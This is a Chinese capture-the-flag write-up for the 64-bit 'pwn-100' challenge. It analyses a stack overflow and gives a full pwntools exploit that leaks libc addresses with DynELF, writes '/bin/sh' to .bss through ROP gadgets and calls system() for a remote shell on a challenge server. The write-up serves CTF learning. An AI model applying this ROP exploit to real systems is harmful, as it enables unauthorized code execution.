文件下载地址:
链接:https://pan.baidu.com/s/1SkbJmjnCtZETaafLEIUuLQ
提取码:wjb0
前言:风萧萧兮雨萧萧,忆君兮,不知。
0x01.分析
checksec:
分析源码:
发现主要功能在sub_40063D,我们分析一下该函数,发现,该函数的功能是:向v1写满200字节,且一定要写满200字节才结束循环,发现v1是0x40,很明显栈溢出。
漏洞利用:
无system,无libc,无/bin/sh,但溢出函数可以循环利用,所以考虑使用DynELF泄露system的地址。
由于是64位程序,所以传参的时候要先考虑前六个寄存器,可以利用的函数为puts,但是要注意puts函数的特殊性,会受到/x00的影响,所以要进行一些特殊的处理。
为了将leak函数的address作为参数给puts,所以首先要,找到一个pop rdi,ret的小片段。
ROPgadget --binary pwn-100 --only 'pop|ret' | grep 'rdi'
0x0000000000400763 : pop rdi ; ret
得到system的地址后要向一个可写的地址写入/bin/sh,首先需要找到一个可写的地址。
vmmap
0x400000 0x401000 r-xp 1000 0 /home/atfwus/pwn/pwn-100
0x600000 0x602000 rw-p 2000 0 /home/atfwus/pwn/pwn-100
这里选用0x601000。
在写入/bin/sh和get shell的时候都需要用到64位常用的rop片段。
0x02.exp
##!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",52760)
#r=process('./pwn-100')
elf=ELF('./pwn-100')
rop1=0x40075A #6_pop_ret
rop2=0x400740 #rdx(r13) rsi(r14) edi(r15d)
pop_rdi=0x400763
start_addr=0x400550
puts_plt=elf.plt['puts']
read_got=elf.got['read']
binsh_addr=0x601000
fillchar='A'*0x48
def leak(address):
payload=fillchar
payload+=p64(pop_rdi)
payload+=p64(address)
payload+=p64(puts_plt)
payload+=p64(start_addr)
payload=payload.ljust(200,'A')
r.send(payload)
r.recvuntil("bye~\n")
count=0
content=''
up=''
while True:
c=r.recv(numb=1,timeout=0.5)
count+=1
if up == '\n' and c == '':
content=content[:-1]+'\x00'
break
else:
content+=c
up=c
content=content[:4]
log.info("%#x => %s" % (address,(content or '').encode('hex')))
return content
d=DynELF(leak,elf=elf)
system_addr=d.lookup('system','libc')
print "system_addr", hex(system_addr)
print "----------write /bin/sh to bss----------"
payload=fillchar
payload+=p64(rop1)
payload+=p64(0)
payload+=p64(1)
payload+=p64(read_got)
payload+=p64(8)
payload+=p64(binsh_addr)
payload+=p64(1)
payload+=p64(rop2)
payload+='A'*56
payload+=p64(start_addr)
payload=payload.ljust(200,'A')
r.send(payload)
r.recvuntil("bye~\n")
r.send("/bin/sh\x00")
print "-----------get shell----------"
payload=fillchar
payload+=p64(pop_rdi)
payload+=p64(binsh_addr)
payload+=p64(system_addr)
payload=payload.ljust(200,'A')
r.send(payload)
r.interactive()
0x03.未解决的问题
本地开启交互无法执行指令是咋回事??????